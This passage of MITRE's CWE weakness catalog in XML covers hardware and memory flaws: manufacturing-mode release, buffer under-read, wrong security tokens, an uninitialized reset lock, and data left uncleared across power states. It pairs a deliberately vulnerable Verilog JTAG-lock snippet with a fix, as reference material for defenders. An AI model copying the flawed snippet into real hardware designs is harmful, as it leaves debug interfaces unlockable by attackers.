					<xhtml:tr><xhtml:td>AES_KEY_WRITE_POLICY</xhtml:td><xhtml:td>[31:0] Default 0x00000004</xhtml:td></xhtml:tr>
					</xhtml:table>
					</Example_Code>
				</Demonstrative_Example>
			</Demonstrative_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="180"/>
         </Related_Attack_Patterns>
         <Notes>
                <Note Type="Maintenance">This entry is still under development and will continue to see updates and content improvements.</Note>
            </Notes>
			<Content_History>
				<Submission>
					<Submission_Name>Arun Kanuparthi, Hareesh Khattri, Parbati Kumar Manna, Narasimha Kumar V Mangipudi</Submission_Name>
					<Submission_Organization>Intel Corporation</Submission_Organization>
					<Submission_Date>2020-02-12</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Description, Modes_of_Introduction, Name, Potential_Mitigations, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2020-08-20">Agents Included in Control Policy are not Contained in Less-Privileged Policy</Previous_Entry_Name>
			</Content_History>
		</Weakness>
      <Weakness ID="1269" Name="Product Released in Non-Release Configuration" Abstraction="Base" Structure="Simple" Status="Incomplete">
			<Description>The product released to market is released in pre-production or manufacturing configuration.</Description>
			<Extended_Description>
				<xhtml:p>Products in the pre-production or manufacturing stages are configured to have many debug hooks and debug capabilities, including but not limited to:</xhtml:p>
				<xhtml:ul>
				<xhtml:li>Ability to override/bypass various cryptographic checks (including authentication, authorization, and integrity)</xhtml:li>
				<xhtml:li>Ability to read/write/modify/dump internal state (including registers and memory)</xhtml:li>
				<xhtml:li>Ability to change system configurations</xhtml:li>
				<xhtml:li>Ability to run hidden or private commands that are not allowed during production (as they expose IP).</xhtml:li></xhtml:ul>
				<xhtml:p>The above is by no means an exhaustive list, but it alludes to the greater capability and the greater state of vulnerability of a product during it's preproduction or manufacturing state.</xhtml:p>
				<xhtml:p>Complexity increases when multiple parties are involved in executing the tests before the final production version. For example, a chipmaker might fabricate a chip and run its own preproduction tests, following which the chip would be delivered to the Original Equipment Manufacturer (OEM), who would now run a second set of different preproduction tests on the same chip. Only after both of these sets of activities are complete, can the overall manufacturing phase be called "complete" and have the "Manufacturing Complete" fuse blown. However, if the OEM forgets to blow the Manufacturing Complete fuse, then the system remains in the manufacturing stage, rendering the system both exposed and vulnerable.</xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
				<Related_Weakness Nature="ChildOf" CWE_ID="693" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
			<Applicable_Platforms>
				<Language Name="VHDL" Prevalence="Undetermined"/>
				<Language Name="Verilog" Prevalence="Undetermined"/>
				<Language Class="Compiled" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
				<Technology Name="Other" Prevalence="Undetermined"/>
				<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
				</Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
				</Introduction>
				<Introduction>
					<Phase>Integration</Phase>
				</Introduction>
				<Introduction>
					<Phase>Manufacturing</Phase>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Confidentiality</Scope>
					<Scope>Integrity</Scope>
					<Scope>Availability</Scope>
					<Scope>Access Control</Scope>
					<Scope>Accountability</Scope>
					<Scope>Authentication</Scope>
					<Scope>Authorization</Scope>
					<Scope>Non-Repudiation</Scope>
					<Impact>Other</Impact>
					<Likelihood>High</Likelihood>
				</Consequence>
			</Common_Consequences>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Implementation</Phase>
					<Description>Ensure that there exists a marker for denoting the Manufacturing Complete stage and that the Manufacturing Complete marker gets updated at the Manufacturing Complete stage (i.e., the Manufacturing Complete fuse gets blown).</Description>
				</Mitigation>
				<Mitigation>
					<Phase>Integration</Phase>
					<Description>Ensure that there exists a marker for denoting the Manufacturing Complete stage and that the Manufacturing Complete marker gets updated at the Manufacturing Complete stage (i.e., the Manufacturing Complete fuse gets blown).</Description>
				</Mitigation>
				<Mitigation>
					<Phase>Manufacturing</Phase>
					<Description>Ensure that there exists a marker for denoting the Manufacturing Complete stage and that the Manufacturing Complete marker gets updated at the Manufacturing Complete stage (i.e., the Manufacturing Complete fuse gets blown).</Description>
				</Mitigation>
			</Potential_Mitigations>
			<Demonstrative_Examples>
				<Demonstrative_Example>
					<Intro_Text>This example shows what happens when a preproduction system is made available for production.</Intro_Text>
					<Example_Code Nature="Bad">Suppose the chipmaker has a way of scanning all the internal memory (containing chipmaker-level secrets) during the manufacturing phase, and the way the chipmaker or the Original Equipment Manufacturer (OEM) marks the end of the manufacturing phase is by blowing a Manufacturing Complete fuse. Now, suppose that whoever blows the Manufacturing Complete fuse inadvertently forgets to execute the step to blow the fuse.</Example_Code>
					<Body_Text>An attacker will now be able to scan all the internal memory (containing chipmaker-level secrets).</Body_Text>
					<Example_Code Nature="Good">Blow the Manufacturing Complete fuse.</Example_Code>
				</Demonstrative_Example>
			</Demonstrative_Examples>
			<Observed_Examples>
				<Observed_Example>
					<Reference>CVE-2019-13945</Reference>
					<Description>Regarding SSA-686531, a hardware based manufacturing access on S7-1200 and
S7-200 SMART has occurred. A vulnerability has been identified in SIMATIC S7-1200 CPU family (incl. SIPLUS variants) (All versions), SIMATIC S7-200 SMART CPU family (All versions). There is an access mode used during manufacturing of S7-1200 CPUs that allows additional diagnostic functionality. The security vulnerability could be exploited by an attacker with physical access to the UART interface during boot process. At the time of advisory publication, no public exploitation of this security vulnerability was known.</Description>
					<Link>https://www.cve.org/CVERecord?id=CVE-2019-13945</Link>
				</Observed_Example>
				<Observed_Example>
					<Reference>CVE-2018-4251</Reference>
					<Description>Laptops with Intel chipsets were found to be running in Manufacturing Mode. After this information was reported to the OEM, the vulnerability (CVE-2018-4251) was patched disallowing access to the interface.</Description>
					<Link>https://www.cve.org/CVERecord?id=CVE-2018-4251</Link>
				</Observed_Example>
			</Observed_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="439"/>
         </Related_Attack_Patterns>
         <References>
				<Reference External_Reference_ID="REF-1103"/>
			</References>
			<Content_History>
				<Submission>
					<Submission_Name>Arun Kanuparthi, Hareesh Khattri, Parbati Kumar Manna, Narasimha Kumar V Mangipudi</Submission_Name>
					<Submission_Organization>Intel Corporation</Submission_Organization>
					<Submission_Date>2020-05-31</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Description, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			</Content_History>
		</Weakness>
      <Weakness ID="127" Name="Buffer Under-read" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product reads from a buffer using buffer access mechanisms such as indexes or pointers that reference memory locations prior to the targeted buffer.</Description>
         <Extended_Description>This typically occurs when the pointer or its index is decremented to a position before the buffer, when pointer arithmetic results in a position before the beginning of the valid memory location, or when a negative index is used. This may result in exposure of sensitive information or possibly a crash.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="125" View_ID="1000"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="786" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Undetermined"/>
            <Language Name="C++" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Memory</Impact>
            </Consequence>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
	       <Note>By reading out-of-bounds memory, an attacker might be able to get secret values, such as memory addresses, which can be bypass protection mechanisms such as ASLR in order to improve the reliability and likelihood of exploiting a separate weakness to achieve code execution instead of just denial of service.</Note>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Buffer under-read</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP8</Entry_ID>
               <Entry_Name>Faulty Buffer Access</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-1034"/>
            <Reference External_Reference_ID="REF-1035"/>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 5: Buffer Overruns.&#34; Page 89"/>
         </References>
         <Notes>
            <Note Type="Research Gap">Under-studied.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Relationships, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Description, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Causal_Nature</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-09-19</Modification_Date>
					<Modification_Comment>updated Common_Consequences, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1270" Name="Generation of Incorrect Security Tokens" Abstraction="Base" Structure="Simple" Status="Incomplete">
			<Description>The product implements a Security Token mechanism to differentiate what actions are allowed or disallowed when a transaction originates from an entity. However, the Security Tokens generated in the system are incorrect.</Description>
			<Extended_Description>
				<xhtml:p>Systems-On-a-Chip (SoC) (Integrated circuits and hardware engines) implement Security Tokens to differentiate and identify actions originated from various agents. These actions could be "read", "write", "program", "reset", "fetch", "compute", etc. Security Tokens are generated and assigned to every agent on the SoC that is either capable of generating an action or receiving an action from another agent. Every agent could be assigned a unique, Security Token based on its trust level or privileges. Incorrectly generated Security Tokens could result in the same token used for multiple agents or multiple tokens being used for the same agent. This condition could result in a Denial-of-Service (DoS) or the execution of an action that in turn could result in privilege escalation or unintended access.</xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
				<Related_Weakness Nature="ChildOf" CWE_ID="284" View_ID="1000" Ordinal="Primary"/>
        <Related_Weakness Nature="ChildOf" CWE_ID="1294" View_ID="1194" Ordinal="Primary"/>
			</Related_Weaknesses>
			<Applicable_Platforms>	
				<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
				<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
			</Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Architecture and Design</Phase>
				</Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Confidentiality</Scope>
					<Scope>Integrity</Scope>
					<Scope>Availability</Scope>
					<Scope>Access Control</Scope>
					<Impact>Modify Files or Directories</Impact>
					<Impact>Execute Unauthorized Code or Commands</Impact>
					<Impact>Bypass Protection Mechanism</Impact>
					<Impact>Gain Privileges or Assume Identity</Impact>
					<Impact>Read Memory</Impact>
					<Impact>Modify Memory</Impact>
					<Impact>DoS: Crash, Exit, or Restart</Impact>
					<Likelihood>High</Likelihood>
				</Consequence>
			</Common_Consequences>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Architecture and Design</Phase>
					<Phase>Implementation</Phase>
					<Description>
						<xhtml:ul>
							<xhtml:li>Generation of Security Tokens should be reviewed for design inconsistency and common weaknesses.</xhtml:li>
							<xhtml:li>Security-Token definition and programming flow should be tested in pre-silicon and post-silicon testing.</xhtml:li>
						</xhtml:ul>
					</Description>
				</Mitigation>
			</Potential_Mitigations>
			<Demonstrative_Examples>
				<Demonstrative_Example>
					<Intro_Text>Consider a system with a register for storing an AES key for encryption or decryption. The key is 128 bits long implemented as a set of four 32-bit registers. The key registers are assets, and register, AES_KEY_ACCESS_POLICY, is defined to provide necessary access controls. The access-policy register defines which agents, using a Security Token, may access the AES-key registers. Each bit in this 32-bit register is used to define a Security Token. There could be a maximum of 32 Security Tokens that are allowed access to the AES-key registers. When set (bit = "1") bit number allows action from an agent whose identity matches that bit number. If Clear (bit = "0") the action is disallowed for the corresponding agent.</Intro_Text>
					
					<Body_Text>Assume the system has two agents: a Main-controller and an Aux-controller. The respective Security Tokens are "1" and "2".
					
					<xhtml:table>
						<xhtml:tr>
							<xhtml:th>Register</xhtml:th>
							<xhtml:th>Description</xhtml:th>
							<xhtml:th>Default</xhtml:th>
						</xhtml:tr>
						<xhtml:tr>
							<xhtml:td>AES_ENC_DEC_KEY_0</xhtml:td>
							<xhtml:td>AES key [0:31] for encryption or decryption</xhtml:td>
							<xhtml:td>0x00000000</xhtml:td>
						</xhtml:tr>
						<xhtml:tr>
							<xhtml:td>AES_ENC_DEC_KEY_1</xhtml:td>
							<xhtml:td>AES key [32:63] for encryption or decryption</xhtml:td>
							<xhtml:td>0x00000000</xhtml:td>
						</xhtml:tr>
						<xhtml:tr>
							<xhtml:td>AES_ENC_DEC_KEY_2</xhtml:td>
							<xhtml:td>AES key [64:95] for encryption or decryption</xhtml:td>
							<xhtml:td>0x00000000</xhtml:td>
						</xhtml:tr>
						<xhtml:tr>
							<xhtml:td>AES_ENC_DEC_KEY_3</xhtml:td>
							<xhtml:td>AES key [96:127] for encryption or decryption</xhtml:td>
							<xhtml:td>0x00000000</xhtml:td>
						</xhtml:tr>
						<xhtml:tr>
							<xhtml:td>AES_KEY_ACCESS_POLICY</xhtml:td>
							<xhtml:td>AES key access register [31:0]</xhtml:td>
							<xhtml:td>0x00000002</xhtml:td>
						</xhtml:tr>
					</xhtml:table>
				</Body_Text>
					
					<Body_Text>An agent with a Security Token "1" has access to AES_ENC_DEC_KEY_0 through AES_ENC_DEC_KEY_3 registers. As per the above access policy, the AES-Key-access policy allows access to the AES-key registers if the security Token is "1".</Body_Text>
					
					<Example_Code Nature="Bad" Language="Other">The SoC incorrectly generates Security Token "1" for every agent. In other words, both Main-controller and Aux-controller are assigned Security Token "1".</Example_Code>
					<Body_Text>Both agents have access to the AES-key registers.</Body_Text>
					<Example_Code Nature="Good" Language="Other">The SoC should correctly generate Security Tokens, assigning "1" to the Main-controller and "2" to the Aux-controller </Example_Code>
				</Demonstrative_Example>
			</Demonstrative_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="121"/>
            <Related_Attack_Pattern CAPEC_ID="633"/>
            <Related_Attack_Pattern CAPEC_ID="681"/>
         </Related_Attack_Patterns>
         <Content_History>
				<Submission>
					<Submission_Name>Arun Kanuparthi, Hareesh Khattri, Parbati Kumar Manna, Narasimha Kumar V Mangipudi</Submission_Name>
					<Submission_Organization>Intel Corporation</Submission_Organization>
					<Submission_Date>2020-03-06</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Description, Modes_of_Introduction, Name, Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2020-08-20">Generation of Incorrect Security Identifiers</Previous_Entry_Name>
			</Content_History>
		</Weakness>
      <Weakness ID="1271" Name="Uninitialized Value on Reset for Registers Holding Security Settings" Abstraction="Base" Structure="Simple" Status="Incomplete">
			<Description>Security-critical logic is not set to a known value on reset.</Description>
			<Extended_Description>
				<xhtml:p>When the device is first brought out of reset, the state of registers will be indeterminate if they have not been initialized by the logic. Before the registers are initialized, there will be a window during which the device is in an insecure state and may be vulnerable to attack.</xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
			  <Related_Weakness Nature="ChildOf" CWE_ID="909" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
		 <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
		 </Weakness_Ordinalities>
			<Applicable_Platforms>
				<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
				<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
				</Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Access Control</Scope>
					<Scope>Authentication</Scope>
					<Scope>Authorization</Scope>
					<Impact>Varies by Context</Impact>
				</Consequence>
			</Common_Consequences>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Implementation</Phase>
					<Description>Design checks should be performed to identify any uninitialized flip-flops used for security-critical functions.</Description>
				</Mitigation>
				<Mitigation>
					<Phase>Architecture and Design</Phase>
					<Description>All registers holding security-critical information should be set to a specific value on reset.</Description>
				</Mitigation>
			</Potential_Mitigations>
			<Demonstrative_Examples>
				<Demonstrative_Example>
					<Intro_Text>Shown below is a positive clock edge triggered flip-flop used to implement a lock bit for test and debug interface. When the circuit is first brought out of reset, the state of the flip-flop will be unknown until the enable input and D-input signals update the flip-flop state. In this example, an attacker can reset the device until the test and debug interface is unlocked and access the test interface until the lock signal is driven to a known state by the logic.</Intro_Text>
					<Example_Code Nature="Bad" Language="Verilog">
					    always @(posedge clk) begin<xhtml:br/>
					    <xhtml:div style="margin-left:1em;">
					      if (en) lock_jtag &lt;= d;<xhtml:br/>
					    </xhtml:div>
					    end
					</Example_Code>
					<Body_Text>The flip-flop can be set to a known value (0 or 1) on reset, but requires that the logic explicitly update the output of the flip-flop if the reset signal is active.</Body_Text>
					<Example_Code Nature="Good" Language="Verilog">
					  always @(posedge clk) begin<xhtml:br/>
					  <xhtml:div style="margin-left:1em;">
					    if (~reset) lock_jtag &lt;= 0;<xhtml:br/>
					    else if (en) lock_jtag &lt;= d;<xhtml:br/>
					  </xhtml:div>
					  end<xhtml:br/>
					</Example_Code>
				</Demonstrative_Example>
			</Demonstrative_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="74"/>
         </Related_Attack_Patterns>
         <Notes>
                <Note Type="Maintenance">This entry is still under development and will continue to see updates and content improvements.</Note>
            </Notes>
			<Content_History>
				<Submission>
					<Submission_Name>Nicole Fern</Submission_Name>
				<Submission_Organization>Tortuga Logic</Submission_Organization>
					<Submission_Date>2020-05-15</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Description, Modes_of_Introduction, Name, Potential_Mitigations, Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Name, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Weakness_Ordinalities</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2020-08-20">Missing Known Value on Reset for Registers Holding Security Settings</Previous_Entry_Name>
			<Previous_Entry_Name Date="2021-03-15">Unitialized Value on Reset for Registers Holding Security Settings</Previous_Entry_Name>
			</Content_History>
		</Weakness>
      <Weakness ID="1272" Name="Sensitive Information Uncleared Before Debug/Power State Transition" Abstraction="Base" Structure="Simple" Status="Stable">
			<Description>The product performs a power or debug state transition, but it does not clear sensitive information that should no longer be accessible due to changes to information access restrictions.</Description>
			<Extended_Description>
				<xhtml:p>A device or system frequently employs many power and sleep states during its normal operation (e.g., normal power, additional power, low power, hibernate, deep sleep, etc.). A device also may be operating within a debug condition. State transitions can happen from one power or debug state to another. If there is information available in the previous state which should not be available in the next state and is not properly removed before the transition into the next state, sensitive information may leak from the system.</xhtml:p>
			</Extended_Description>
     <Related_Weaknesses>
      <Related_Weakness Nature="ChildOf" CWE_ID="226" View_ID="1000" Ordinal="Primary"/>
      <Related_Weakness Nature="CanPrecede" CWE_ID="200" View_ID="1000" Ordinal="Primary"/>
     </Related_Weaknesses>
		 <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
		 </Weakness_Ordinalities>
			<Applicable_Platforms>
				<Language Name="VHDL" Prevalence="Undetermined"/>
				<Language Name="Verilog" Prevalence="Undetermined"/>
				<Language Class="Hardware Description Language" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
				<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
				</Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Architecture and Design</Phase>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Confidentiality</Scope>
					<Scope>Integrity</Scope>
					<Scope>Availability</Scope>
					<Scope>Access Control</Scope>
					<Scope>Accountability</Scope>
					<Scope>Authentication</Scope>
					<Scope>Authorization</Scope>
					<Scope>Non-Repudiation</Scope>
					<Impact>Read Memory</Impact>
					<Impact>Read Application Data</Impact>
					<Likelihood>High</Likelihood>
					<Note>Sensitive information may be used to unlock additional capabilities of the device and take advantage of hidden functionalities which could be used to compromise device security.</Note>
				</Consequence>
			</Common_Consequences>
			<Detection_Methods>
			  <Detection_Method>
			    <Method>Manual Analysis</Method>
			    <Description>Write a known pattern into each sensitive location. Enter the power/debug state in question. Read data back from the sensitive locations. If the reads are successful, and the data is the same as the pattern that was originally written, the test fails and the device needs to be fixed. Note that this test can likely be automated.</Description>
			    <Effectiveness>High</Effectiveness>
			  </Detection_Method>
			</Detection_Methods>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Architecture and Design</Phase>
					<Phase>Implementation</Phase>
					<Description>During state transitions, information not needed in the next state should be removed before the transition to the next state.</Description>
				</Mitigation>
			</Potential_Mitigations>
			<Demonstrative_Examples>
       <Demonstrative_Example Demonstrative_Example_ID="DX-147">
	 <Intro_Text>This example shows how an attacker can take advantage of an incorrect state transition.</Intro_Text>
	 <Body_Text>
	   <xhtml:p>Suppose a device is transitioning from state A to state B. During state A, it can read certain private keys from the hidden fuses that are only accessible in state A but not in state B. The device reads the keys, performs operations using those keys, then transitions to state B, where those private keys should no longer be accessible.</xhtml:p>
	 </Body_Text>
	 <Example_Code Nature="Bad">
	   <xhtml:p>During the transition from A to B, the device does not scrub the memory.</xhtml:p>
	 </Example_Code>
	 <Body_Text><xhtml:p>After the transition to state B, even though the private keys are no longer accessible directly from the fuses in state B, they can be accessed indirectly by reading the memory that contains the private keys.</xhtml:p></Body_Text>
	 <Example_Code Nature="Good">For transition from state A to state B, remove information which should not be available once the transition is complete.</Example_Code>
       </Demonstrative_Example>
     </Demonstrative_Examples>
			<Observed_Examples>
			  <Observed_Example>
				<Reference>CVE-2020-12926</Reference>
				<Description>Product software does not set a flag as per TPM specifications, thereby preventing a failed authorization attempt from being recorded after a loss of power.</Description>
				<Link>https://www.cve.org/CVERecord?id=CVE-2020-12926</Link>
			  </Observed_Example>
			</Observed_Examples>
		<Functional_Areas>
            <Functional_Area>Power</Functional_Area>
        </Functional_Areas>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="150"/>
            <Related_Attack_Pattern CAPEC_ID="37"/>
            <Related_Attack_Pattern CAPEC_ID="545"/>
            <Related_Attack_Pattern CAPEC_ID="546"/>
         </Related_Attack_Patterns>
         <References>
		   <Reference External_Reference_ID="REF-1220"/>
		 </References>
         <Content_History>
				<Submission>
					<Submission_Name>Parbati Kumar Manna, Hareesh Khattri, Arun Kanuparthi</Submission_Name>
					<Submission_Organization>Intel Corporation</Submission_Organization>
					<Submission_Date>2020-05-31</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
